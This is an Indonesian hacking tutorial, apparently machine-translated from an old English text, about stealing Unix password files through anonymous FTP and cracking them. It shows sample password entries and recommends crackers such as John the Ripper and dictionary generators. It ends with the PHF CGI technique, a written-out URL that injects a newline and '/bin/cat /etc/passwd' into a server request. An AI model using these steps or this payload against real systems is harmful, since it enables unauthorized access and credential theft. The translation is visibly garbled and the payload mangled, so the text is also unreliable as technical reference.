Mendapatkan File Password Melalui FTP

Mendapatkan File Password Melalui FTP

Ok juga salah satu cara termudah mendapatkan akses superuser adalah melalui
anonymous ftp akses ke sebuah halaman web. Pertama anda perlu belajar sedikit tentang
file password ...



root: User: d7Bdg: 1n2HG2: 1127:20: Superuser
TomJones: p5Y (h0tiC: 1229:20: Tom Jones,: / usr / orang / tomjones: / bin / csh
BBob: EUyd5XAAtv2dA: 1129:20: Billy Bob: / usr / orang / bbob: / bin / csh

Ini merupakan contoh password file yang terenkripsi. Superuser ini
bagian yang memberikan root. Itulah bagian utama dari file.

root: x: 00:01: Superuser: /:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin: x: 203:102: ftp Administrator: / u1/ftp

Ini adalah contoh lain dari file password, hanya satu ini memiliki satu kecil
perbedaan, itu gelap. file password Dibayangi jangan sampai anda melihat atau
salin password terenkripsi yang sebenarnya. Hal ini menyebabkan masalah untuk memasukkan sandi
kerupuk dan kamus pembuat (baik dijelaskan nanti dalam teks). Di bawah ini adalah
contoh lain dari file password gelap:

root: x :0:1:0000-Admin (0000 ):/:/ usr / bin / csh
daemon: x :1:1:0000-Admin (0000): /:
bin: x :2:2:0000-Admin (0000): / usr / bin:
sys: x :3:3:0000-Admin (0000): /:
adm: x :4:4:0000-Admin (0000): / var / adm:
lp: x :71:8:0000-lp (0000): / usr / spool / lp:
smtp: x: 0:0: mail daemon user: /:
uucp: x :5:5:0000-uucp (0000): / usr / lib / uucp:
nuucp: x :9:9:0000-uucp (0000): / var / spool / uucppublic: / usr / lib / uucp / uucico
listen: x: 37:4: Network Admin: / usr / net / nls:
ada: x: 60001:60001: uid no body: /:
noaccess: x: 60002:60002: uid no access: /:
webmastr: x: 53:53: WWW Admin: / export / home / webmastr: / usr / bin / csh
pin4geo: x: 55:55: PinPaper Admin: / export/home/webmastr/new/gregY/test/pin4geo: / bin / false
ftp:x:54:54:Anonymous FTP: / export / home / anon_ftp: / bin / false

file password Dibayangi memiliki "x" di tempat password atau kadang-kadang
mereka menyamar sebagai * suatu juga.

Sekarang Anda tahu sedikit lebih banyak tentang apa file password yang sebenarnya terlihat
seperti kamu harus mampu mengidentifikasi pw terenkripsi normal dari suatu gelap
pw file. Kita sekarang dapat melanjutkan untuk berbicara tentang bagaimana untuk memecahkannya.

Cracking file password tidak rumit karena akan terlihat, meskipun
file bervariasi dari sistem ke sistem. 1.The Langkah pertama yang akan Anda ambil adalah
untuk men-download atau menyalin file. 2. Langkah kedua adalah menemukan password
cracker dan kamus pembuat. Meskipun hampir tidak mungkin untuk menemukan
kerupuk yang baik ada beberapa yang ok di luar sana. Saya sarankan bahwa Anda melihat
Cracker Jack, John the Ripper, Brute Force Cracker, atau Jack the Ripper.
Sekarang untuk pembuat kamus atau kamus file ... Saat Anda mulai
cracking prog Anda akan diminta untuk mencari file password. Di situlah
kamus pembuat masuk Anda dapat mendownload satu dari hampir setiap hacker
halaman di internet. Sebuah kamus pembuat menemukan semua surat yang mungkin
kombinasi dengan alfabet yang Anda pilih (ASCII, topi, huruf kecil, dan
surat numerik juga dapat ditambahkan). Kami akan merilis file pasword kita
kepada publik segera, maka akan disebut, Psychotic Candy, "The Perfect Drug."
Sejauh yang kami tahu itu akan menjadi salah satu yang terbesar di sirkulasi. 3. Anda kemudian jalankan cracker dan ikuti petunjuk yang memberikan
Anda.


Teknik PHF

Yah aku tidak yakin apakah aku harus menyertakan bagian ini karena fakta bahwa
semua orang sudah tahu itu dan kebanyakan server telah menemukan tahu tentang
bug dan fixed it. Tapi karena saya telah mengajukan pertanyaan tentang phf yang
Saya memutuskan untuk memasukkannya.

Teknik phf sejauh ini merupakan cara termudah mendapatkan file password
(Meskipun tidak bekerja 95% dari waktu). Tetapi untuk melakukan phf semua yang Anda lakukan
adalah membuka browser dan ketik link berikut:

%% 0a/bin/cat http://webpage_goes_here/cgi-bin/phf?Qalias=x 20/etc/passwd

Anda mengganti webpage_goes_here dengan domain. Jadi jika Anda mencoba
mendapatkan file pw untuk www.webpage.com Anda akan mengetik:

%% 0a/bin/cat http://www.webpage.com/cgi-bin/phf?Qalias=x 20/etc/passwd

dan hanya itu! Anda hanya duduk dan menyalin file (jika bekerja).